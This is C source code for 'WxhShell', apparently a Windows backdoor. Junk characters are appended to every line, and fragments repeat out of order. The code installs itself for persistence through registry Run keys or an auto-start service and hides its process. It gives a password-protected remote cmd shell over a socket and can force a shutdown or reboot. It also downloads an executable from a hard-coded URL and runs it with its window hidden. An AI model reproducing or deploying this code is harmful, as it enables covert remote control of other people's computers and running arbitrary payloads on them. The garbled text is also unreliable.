  // 关机 V=<OV]0  
  case 'd': { Pn)^mt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HGuY-f  
    if(Boot(SHUTDOWN)) A;e[-5@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zCrDbGvqF`  
    else { @@L@r6  
    closesocket(wsh); (p1y/"Xh  
    ExitThread(0); + y!B`'J  
    } (!h%) _?.l  
    break; sOc<'):TK  
    } 7U#`^Q}  
  // 获取shell f_`gUMf  
  case 's': { mZ;W$y SO  
    CmdShell(wsh); OrX x0Hn  
    closesocket(wsh); 7%p[n;-o&  
    ExitThread(0); i ! wzID  
    break; =^. f)  
  } tw. 2h'D  
  // 退出 >QwZt  
  case 'x': { pfj%AP:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d*%-r2K  
    CloseIt(wsh); yZf+*j/a7  
    break; TGnyN'P|  
    } s>E u[ uA  
  // 离开 =}S*]Me5  
  case 'q': { 8'=8!V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rbP" n)0=  
    closesocket(wsh); SB#YV   
    WSACleanup(); 0- GA,I_  
    exit(1); PV?XpT  
    break; {I s?>m4  
        } v:s.V>{"S  
  } \~H; Wt5  
  } +MG(YP/ l  
ZyE2=w7n  
  // 提示信息 K*uFqdLL!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k0|*8  
} h:QKd!Gq  
  } _vA\j  
'</  
  return; Jhbkp?Zli  
} OtuOT=%  
5.J$0wK'6  
// shell模块句柄 <UJgl{ -  
int CmdShell(SOCKET sock) ?>lvV+3^`  
{ u@SE)qg  
STARTUPINFO si; a jy.K'B*  
ZeroMemory(&si,sizeof(si)); Q1qf'u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8Rq+eOP=S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <fX]`57Dc`  
PROCESS_INFORMATION ProcessInfo; f o])=KM  
char cmdline[]="cmd"; g`KVF"8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Lu&2^USTO  
  return 0; &wj;:f  
} ,RFcR[ak  
Zf<M14iM  
// 自身启动模式 wAE ,mw  
int StartFromService(void) m ys5B}  
{ tN|sHgs  
typedef struct Y$3H$F.+  
{ mq$mB1$3u  
  DWORD ExitStatus; CFJ F}aW  
  DWORD PebBaseAddress; zn5  
  DWORD AffinityMask; \XR%pC  
  DWORD BasePriority; 4kO[|~#  
  ULONG UniqueProcessId; oD,f5Ci-  
  ULONG InheritedFromUniqueProcessId; A3%s5`vNvH  
}   PROCESS_BASIC_INFORMATION; =~YmM<L  
3=9yR* *  
PROCNTQSIP NtQueryInformationProcess; aK'`yuN  
jyF0asb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (;=:QjaoZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X&._<2  
LP bZ.  
  HANDLE             hProcess; (j-[m\wF  
  PROCESS_BASIC_INFORMATION pbi; {t: ZMUV  
C)> ])'S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gBRhO^Sz  
  if(NULL == hInst ) return 0; >8;Co]::kx  
T*>n a8W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P>%\pCJ])  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -A}*Aa'\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8XwAKN:f  
uV<I!jyI  
  if (!NtQueryInformationProcess) return 0; 2U,O e9  
G.K3'^_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <Gzy*1 Q&  
  if(!hProcess) return 0; m`UNdFS  
Z~o*$tF/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )AOD~T4s7  
'j=7'aX>K  
  CloseHandle(hProcess); TDg#O!DUF  
}~dXz?{p8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ' >[KVvm  
if(hProcess==NULL) return 0; ;J pdnV  
UD [S>{  
HMODULE hMod; mg)lr&-b  
char procName[255]; +F ~;Q$T  
unsigned long cbNeeded; .:,RoK1  
lpkg( J#&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0j%@P[zQ  
ZjLzS]\a  
  CloseHandle(hProcess); LH.. 8nfl  
e47JLW&b  
if(strstr(procName,"services")) return 1; // 以服务启动 le`&VdE^  
((rk)Q+;v  
  return 0; // 注册表启动 /=4P< &J  
} +v%V1lf^~  
l|-1H76  
// 主模块 MJ[#Gq\0R  
int StartWxhshell(LPSTR lpCmdLine) th8f  
{ pmXx2T#=  
  SOCKET wsl; F?'=iY<h  
BOOL val=TRUE; `pY\Mmgv1  
  int port=0; )NZ6!3[@  
  struct sockaddr_in door; J) v~  
u4B,|_MK  
  if(wscfg.ws_autoins) Install(); 9BB<. p  
WMBntB   
port=atoi(lpCmdLine); >%+ "-bY  
;nG"y:qq  
if(port<=0) port=wscfg.ws_port; ]@1YgV  
XhFa9RC  
  WSADATA data; ke|v|@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 94%gg0azp  
j~V@0z.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    Q^/5hA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8^=g$;g  
  door.sin_family = AF_INET; `(1em%}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !cw<C*  
  door.sin_port = htons(port); 0Mt2Rg}  
B{!)GZ(}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~6@zXHAS  
closesocket(wsl); jD3,z*  
return 1; 'nI2RX  
} !*u5HVn  
I})la!9   
  if(listen(wsl,2) == INVALID_SOCKET) { ?HVsIAU  
closesocket(wsl); ]CH@ T9d5V  
return 1; v vlfL*f  
} 4NbX! "0  
  Wxhshell(wsl); S5d:?^PGg  
  WSACleanup(); RH ow%2D  
3tI=? E#  
return 0; sj2v*tFb  
l.1)%q&@^  
} B?-RzWB\3  
dv-yZRU:  
// 以NT服务方式启动 (?xGl V`n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y5=~>*e  
{ !U}A1)  
DWORD   status = 0; @B ~! [l  
  DWORD   specificError = 0xfffffff; ]P$8# HiX  
'Z'X`_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oT&JQ,i[2Q  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Y32F { z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $-"AMZ899  
  serviceStatus.dwWin32ExitCode     = 0; :ORCsl6-  
  serviceStatus.dwServiceSpecificExitCode = 0; sF]v$ kq  
  serviceStatus.dwCheckPoint       = 0; y?<[g;MuT  
  serviceStatus.dwWaitHint       = 0; VgZ<T,SuW  
Gk,{{:M:5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PB4E_0}h  
  if (hServiceStatusHandle==0) return; M$-4.+G  
hxx,E>k  
status = GetLastError(); _`/0/69  
  if (status!=NO_ERROR) O+`^]D7  
{ #`:s:bwM:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2ko7t9y&  
    serviceStatus.dwCheckPoint       = 0; tu77Sb  
    serviceStatus.dwWaitHint       = 0; +-'qI_xo  
    serviceStatus.dwWin32ExitCode     = status; E xKH%I  
    serviceStatus.dwServiceSpecificExitCode = specificError; nFW^^v<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vX)6N#D!  
    return; t*<vc]D  
  } xC`Hm?kM  
n=r}jRH1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :7Rs$ -*Uk  
  serviceStatus.dwCheckPoint       = 0; (U2G"  
  serviceStatus.dwWaitHint       = 0; )(*A1C[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Di9yd  
} aRq7x~j )\  
8_>\A= E  
// 处理NT服务事件,比如:启动、停止 :84ja>`c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hiaj!&+Q  
{ G#5Cyu<r!  
switch(fdwControl) @iUzRsl  
{ 3`TC*  
case SERVICE_CONTROL_STOP: vQ+}rHf`[  
  serviceStatus.dwWin32ExitCode = 0; 3k;U#H  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &o^wgmS   
  serviceStatus.dwCheckPoint   = 0; /`\-.S9  
  serviceStatus.dwWaitHint     = 0; vPmP<c)cb  
  { _XXK1H x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7E Y~5U/4  
  } \bQ|O7s  
  return; h\'GL(?DBI  
case SERVICE_CONTROL_PAUSE: 10}oaL S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PZNo.0M70  
  break; vbqI$F[s  
case SERVICE_CONTROL_CONTINUE: w?C _LP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )g:UH Ns  
  break; [2 2IF  
case SERVICE_CONTROL_INTERROGATE: ="@W)"r  
  break; D> Z>4:EM  
}; Q+mMp I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZyCAl9{p  
} P.qD,$-  
R|V<2  
// 标准应用程序主函数 G&D N'bp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E=~H,~  
{ dtA- 4Ndm  
^Q!:0D*  
// 获取操作系统版本 +n,8o:fU:  
OsIsNt=GetOsVer();  ~Zl`Ap  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r4 +w?=`  
)@eBe^  
  // 从命令行安装 |r}%AN6+  
  if(strpbrk(lpCmdLine,"iI")) Install(); T~"tex]  
oCy52Bm.!  
  // 下载执行文件 HZ 8 j[kO  
if(wscfg.ws_downexe) { UgJlXB|a%2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <kLY1 EILM  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8S]Mf*~S'  
} &M>S$+I n  
e7,iO#@:m  
if(!OsIsNt) { Redp'rXT<h  
// 如果时win9x,隐藏进程并且设置为注册表启动 a:zx&DwM  
HideProc(); pal))e! B  
StartWxhshell(lpCmdLine); nyQ FS  
} WcH^bAY6  
else <$?:|  
  if(StartFromService()) -mY90]g  
  // 以服务方式启动 {!N4|  
  StartServiceCtrlDispatcher(DispatchTable); &=HM}h  
else LvWU %?  
  // 普通方式启动 GZZLX19s q  
  StartWxhshell(lpCmdLine); |]GEJUWtCd  
'0t j2  
return 0; #> CN,eiZ  
} 6\5U%~78  
> 7;JZuVo  
w-B\AK?}  
d[~c-G6  
=========================================== |o!<@/iH=  
X[@>1tl  
* uEU9fX  
]VwAHT&je  
`b\4h/~  
^iV@NVP  
" z7<^aS  
jb7=1OPD_  
#include <stdio.h> 'Fonn  
#include <string.h> %i.|bIhmm  
#include <windows.h> WZm^:,  
#include <winsock2.h> 5@0c@Q  
#include <winsvc.h> uFok'3!g7%  
#include <urlmon.h> @J r  
<U~P-c tN  
#pragma comment (lib, "Ws2_32.lib") Q@$1!9m  
#pragma comment (lib, "urlmon.lib") $hKgTf?  
\&TTe8  
#define MAX_USER   100 // 最大客户端连接数 E32z(:7M  
#define BUF_SOCK   200 // sock buffer `/HygC6  
#define KEY_BUFF   255 // 输入 buffer 3_h%g$04 s  
V >['~|  
#define REBOOT     0   // 重启 _I8-0DnOM  
#define SHUTDOWN   1   // 关机 *kKGsy  
9txZ6/  
#define DEF_PORT   5000 // 监听端口 ED?s[K  
sm_:M| [D  
#define REG_LEN     16   // 注册表键长度 U!e4_JBR'  
#define SVC_LEN     80   // NT服务名长度 W2<X 5'  
I?fE=2}9  
// 从dll定义API :lE7v~!Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3zl!x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _p_F v>>:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3/[=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KDXo9FzF  
Iewq?s\Fo  
// wxhshell配置信息 Etl7V  
struct WSCFG { '@fk(~|  
  int ws_port;         // 监听端口 &>s(f-\8  
  char ws_passstr[REG_LEN]; // 口令 TuF:m"4  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,88Y1|:X  
  char ws_regname[REG_LEN]; // 注册表键名 -"cN9RF  
  char ws_svcname[REG_LEN]; // 服务名 Ee|@l3)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >N,G@{FR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CD[7h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #ERn 8k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fk"{G>&8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ja (/ym^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ScTqnY$v  
'sA&Pm  
}; z N t7DK  
/tUl(Fp J`  
// default Wxhshell configuration 4/h2_  
struct WSCFG wscfg={DEF_PORT, Gt1Up~\s  
    "xuhuanlingzhe", t]` 2f3UO  
    1, q@\_q!  
    "Wxhshell", sbs"26IE  
    "Wxhshell", .U1dcL6  
            "WxhShell Service", Y{O&- 5H^|  
    "Wrsky Windows CmdShell Service", ex| kD*=  
    "Please Input Your Password: ", gSGe]  
  1, +p[~hM6?  
  "http://www.wrsky.com/wxhshell.exe", gO/(/e>P  
  "Wxhshell.exe" eyE&<:F#J  
    }; uVk8KMYU  
\ bhok   
// 消息定义模块 QB.7n&u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B@=Yj_s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O<E0L&4-&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x)?\g{JH  
char *msg_ws_ext="\n\rExit."; 0GR9opZtA  
char *msg_ws_end="\n\rQuit."; +/X'QB$R  
char *msg_ws_boot="\n\rReboot..."; =QC^7T  
char *msg_ws_poff="\n\rShutdown..."; x'KsQlI/  
char *msg_ws_down="\n\rSave to "; [_0g^(`  
6,7omYof  
char *msg_ws_err="\n\rErr!"; |u+&xX7  
char *msg_ws_ok="\n\rOK!"; +sI.GWQ_:  
{L=[1  
char ExeFile[MAX_PATH]; x3P@AC$\  
int nUser = 0; _kd |:,  
HANDLE handles[MAX_USER]; Z\L@5.*ydE  
int OsIsNt; H|Nw)*.  
"5YdmBy  
SERVICE_STATUS       serviceStatus; LBE".+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k|_2aQ02  
"4`%NA  
// 函数声明 |. 6@-h~8  
int Install(void); f@{C3E dd  
int Uninstall(void); IF:M_   
int DownloadFile(char *sURL, SOCKET wsh); saT9%?4-  
int Boot(int flag); %C)JmaQ{9  
void HideProc(void); yRznP)  
int GetOsVer(void); [s/@z*,M1  
int Wxhshell(SOCKET wsl); cDx^}N!  
void TalkWithClient(void *cs); Wk|z\OR(  
int CmdShell(SOCKET sock); w=`z!x![/  
int StartFromService(void); O)Qz$  
int StartWxhshell(LPSTR lpCmdLine); @( t:E`8  
z(WpOD   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e ?YbG.(E9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "uCQm '  
lkm(3y@']A  
// 数据结构和表定义 A!D:Kc3  
SERVICE_TABLE_ENTRY DispatchTable[] = .}E)7"Qi,  
{ 9PJDT]  
{wscfg.ws_svcname, NTServiceMain}, Z C93C7lJ  
{NULL, NULL} cOb%SC[A{  
}; mQs$7t[>t  
@5wg'mM  
// 自我安装 W~tOH=9>  
int Install(void) Oe YLL4H  
{ @NIypi$T  
  char svExeFile[MAX_PATH];  eqR#`  
  HKEY key; uI2'jEjO  
  strcpy(svExeFile,ExeFile); f*],j  
(HI%C@e9  
// 如果是win9x系统,修改注册表设为自启动 _Pkh`}W:  
if(!OsIsNt) { 9qDGxW '1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dkb&/k:)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bw\=F_>L  
  RegCloseKey(key); (Pd>*G\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =M 5M;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P1wRt5  
  RegCloseKey(key); H1nQ.P]_  
  return 0; 0vp I#q  
    } &w0=/G/T=~  
  } udFju&!W  
} }L!`K"^O&  
else { _zh5KP[{  
lc-|Q#$3$  
// 如果是NT以上系统,安装为系统服务 Xt =bc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E<uOk  
if (schSCManager!=0) QZr<=}   
{ 9C;Y5E~'L  
  SC_HANDLE schService = CreateService uw=Ube(  
  ( ?vFh)U  
  schSCManager, Hz8`)cv`  
  wscfg.ws_svcname, 'I]"=O,  
  wscfg.ws_svcdisp, ]5f M?:<l  
  SERVICE_ALL_ACCESS, ts<dUO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6ZpcT&yL  
  SERVICE_AUTO_START, )|R9mW=k9P  
  SERVICE_ERROR_NORMAL, XL^N5  
  svExeFile, 3 \r@f_p  
  NULL, <y!r~?  
  NULL, UwkX[u  
  NULL, 0@lC5-=  
  NULL, &|}IBu:T  
  NULL i[{] LiP  
  ); yrAzD=  
  if (schService!=0) q-%KfZ@(|  
  { lzG;F]  
  CloseServiceHandle(schService); `HG19_Z  
  CloseServiceHandle(schSCManager); 4QAIQQS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V1)P=?%(US  
  strcat(svExeFile,wscfg.ws_svcname); i8_x1=A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2j7d$y*'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _M[[vXH  
  RegCloseKey(key); 4oV_b"xz~  
  return 0; 8 QF?W{NK  
    } \.P}`Bpa  
  } G*i#\   
  CloseServiceHandle(schSCManager); 5jV97x)BGx  
} ^r*%BUU9]%  
} Gr$*t,ZW  
nFnF_  
return 1; `l2<  
} otf%kG w  
=veOVv[Q&/  
// 自我卸载 no NF;zT  
int Uninstall(void) AH'4H."o/9  
{ /Jf`x>eiH  
  HKEY key; v7FRTrqjj  
|vN@2h(|"  
if(!OsIsNt) { 8UT%:DlxQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F[D0x26 ^  
  RegDeleteValue(key,wscfg.ws_regname); XYHCggy  
  RegCloseKey(key); M |?p3%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?w37vsN  
  RegDeleteValue(key,wscfg.ws_regname); '$h @  
  RegCloseKey(key); D4Y!,7WEVt  
  return 0; I"32[?0 (;  
  } $Cd;0gdv  
} nP\V1pgA  
} DJYXC,r  
else { !Vr45l  
=j+oKGkoCa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ge:-|*F  
if (schSCManager!=0) 6~h1iY_~  
{ o1X/<.0+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YD46Z~$  
  if (schService!=0) "Dl9<EZ  
  { ?ey&Un"  
  if(DeleteService(schService)!=0) { MAe<.DHY  
  CloseServiceHandle(schService); `x$}~rP&)!  
  CloseServiceHandle(schSCManager); fE%[j?[  
  return 0; f:[d]J|  
  } qIGu#zXW  
  CloseServiceHandle(schService); &O6;nJEI  
  } m/hi~. D9  
  CloseServiceHandle(schSCManager); YNC0Z'c9  
} qN1 -plY  
} dD^_^'i  
j&[.2PW\  
return 1; u1) TG "+0  
} W]D`f8r9  
/ }XsuH  
// 从指定url下载文件 1%hM8:)i_  
int DownloadFile(char *sURL, SOCKET wsh) VUy)4*  
{ J`+`Kq1T  
  HRESULT hr; kyxSIQ^  
char seps[]= "/"; $}^\=p}X  
char *token; I*W9VhIOV  
char *file; @ojg`!,  
char myURL[MAX_PATH]; h76NR  
char myFILE[MAX_PATH]; Dl zmAN  
qBBYckS.  
strcpy(myURL,sURL); t}XB|h  
  token=strtok(myURL,seps); otz_nF;E  
  while(token!=NULL) -?aw^du  
  { "zedbJ0  
    file=token; k>:/D  
  token=strtok(NULL,seps); nI*(a:  
  } t?9 ;cS4  
^3WIl ]  
GetCurrentDirectory(MAX_PATH,myFILE); %on9C`/  
strcat(myFILE, "\\"); 9xK4!~5V  
strcat(myFILE, file); qX p,d  
  send(wsh,myFILE,strlen(myFILE),0); 1akD]Z  
send(wsh,"...",3,0); YMj7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )&Kn (l)  
  if(hr==S_OK) kj{rk^x  
return 0; 68p\WheCal  
else  Qh|-a@  
return 1; yZ;k@t_WRD  
`rz`3:ZH  
} CRc!|?  
xH"W}-#[  
// 系统电源模块 ?GUz?'d  
int Boot(int flag) Ez/\bE  
{ N &I8nZ9  
  HANDLE hToken; S2'`|uI  
  TOKEN_PRIVILEGES tkp; vJTfo#C|  
c#{Ywh  
  if(OsIsNt) { ~mXZfG/D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l:zU_J6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .#=j <&  
    tkp.PrivilegeCount = 1; ;.nP%jD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FVsu8z u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X(r)Z\  
if(flag==REBOOT) { *Z]5!$UpC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oh7#cFZZ0  
  return 0; nr<WO~Xw~  
} hl6,#2$  
else { Y7*(_P3/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6(N.T+;]  
  return 0; Gd30Be2gd  
} #1QX!dK+  
  } sR"zRn  
  else { `ICcaRIN8I  
if(flag==REBOOT) { gx!*O<|e4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <qbZG}u  
  return 0; M^j<J0(O  
} F!OOrW]p0  
else { a%7"_{s1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1<LC8?wt  
  return 0; %_B:EMPd  
} , @%C8Z  
} -H1"OJ2aF  
&YT_#M  
return 1; |8&-66pX  
} CRZi;7`*1  
I@3Q=14k%  
// win9x进程隐藏模块 B>~k).M&,  
void HideProc(void) awj+#^  
{ "n{9- VEmN  
./"mn3U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *Rz{44LP&  
  if ( hKernel != NULL ) ,U6*kvHS6  
  { +(;8@"u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jd ["eI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o"'iX UJ  
    FreeLibrary(hKernel); abM84EU  
  } 5Y(r\Dd  
'RDWU7c9]  
return; 'R^iKNPs  
} ]s*5[ =uc2  
b%Wd<N2  
// 获取操作系统版本 YHs?QsP  
int GetOsVer(void) 5a=nF9/  
{ .cw!ls7d  
  OSVERSIONINFO winfo; "DVt3E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 25xcD1*  
  GetVersionEx(&winfo); wn &$C0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HA$Y1}  
  return 1; r#LnDseW  
  else wENzlXeOP  
  return 0; [X;>*-  
} %z(9lAe  
WwW"fkv  
// 客户端句柄模块 NNwc!x)*  
int Wxhshell(SOCKET wsl) (N,nux(0k  
{ |WB"=PE  
  SOCKET wsh; WI,40&<  
  struct sockaddr_in client; 0(wf{5  
  DWORD myID; uVN.=  
>HE,'  
  while(nUser<MAX_USER) iPMB$SdfO  
{ ,+~2&>wj  
  int nSize=sizeof(client); @Ppo &>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N g58/}zO  
  if(wsh==INVALID_SOCKET) return 1; O x{Q.l  
|}Q( F+cL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?#?e(mpo  
if(handles[nUser]==0) g<f P:/  
  closesocket(wsh); Uf# PoQ!y  
else 'KSa8;:=C  
  nUser++; S,lxM,DL&  
  } doLkrEm&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y mq3ty]Pe  
dY1J<L}")  
  return 0; a IQOs  
} ;U |NmC+  
e[s5N:IUd3  
// 关闭 socket Z*9L'd"D|  
void CloseIt(SOCKET wsh) 0[.3Es:_  
{ 8GY.){d!l  
closesocket(wsh); e{5,'(1]  
nUser--; xFOBF")  
ExitThread(0); A 6:Q<  
} QO@6VY@  
Lj4&_b9  
// 客户端请求句柄 u2 7S %2P  
void TalkWithClient(void *cs) 5Yl6?  
{ jM*AL X  
|Td_S|:d  
  SOCKET wsh=(SOCKET)cs; 26M~<Ic  
  char pwd[SVC_LEN]; q&Q/?g>f  
  char cmd[KEY_BUFF]; ^b=XV&{q  
char chr[1]; sD2 ^_w6j  
int i,j; (s0 88O  
[G\o+D?2  
  while (nUser < MAX_USER) { =:4?>2)  
N*f^Z#B]  
if(wscfg.ws_passstr) { Rxx>{+f4M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L.kD,'G}>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yOc|*O=]U  
  //ZeroMemory(pwd,KEY_BUFF); 9/G!0uE  
      i=0; d]MGN^%o  
  while(i<SVC_LEN) { 90p3V\LO  
i(0hvV>'  
  // 设置超时 BH5w@  
  fd_set FdRead; prUHjS  
  struct timeval TimeOut; '|&,E#`  
  FD_ZERO(&FdRead); 8hZwQ[hr  
  FD_SET(wsh,&FdRead); q8/ihA6:  
  TimeOut.tv_sec=8; ms7SoY bSu  
  TimeOut.tv_usec=0; <^Nk.E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); R3?:\d{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QTYYghz  
i *B:El1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WKxm9y V  
  pwd=chr[0]; ` VwN!B:  
  if(chr[0]==0xd || chr[0]==0xa) { Ae6("Oid  
  pwd=0; ?ZaD=nh$mK  
  break; _-/x;C  
  } r sLc&2F  
  i++; W<Z$YWr  
    } FZpsL-yx^N  
9 Va40X1  
  // 如果是非法用户,关闭 socket K@6`-|I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dnwdFsf  
} O4E(R?wd  
OTE<x"=h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~5ubh2{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?gN9kd)  
R4SxFp  
while(1) { kxh 5}eB  
/~*Cp9F"]  
  ZeroMemory(cmd,KEY_BUFF); /1[gn8V691  
0V3gKd7  
      // 自动支持客户端 telnet标准   EI\v  
  j=0; XCm\z9F  
  while(j<KEY_BUFF) { =-qf;5[|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q`[K3p   
  cmd[j]=chr[0]; q3)wr%!k5D  
  if(chr[0]==0xa || chr[0]==0xd) { gQ>2!Qc a-  
  cmd[j]=0; "J !}3)n  
  break; yb?{LL-uy  
  } ]\BUoQ7I/  
  j++; a.DX%C /5  
    } [sj VRW-  
i b]vX-  
  // 下载文件 H_Os4}  
  if(strstr(cmd,"http://")) { sPy2/7Wqd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GRIa8>  
  if(DownloadFile(cmd,wsh)) uY;R8CiD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fu%X  
  else  ,1 P[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @KA1"Wb_  
  } |s f*hlrJ  
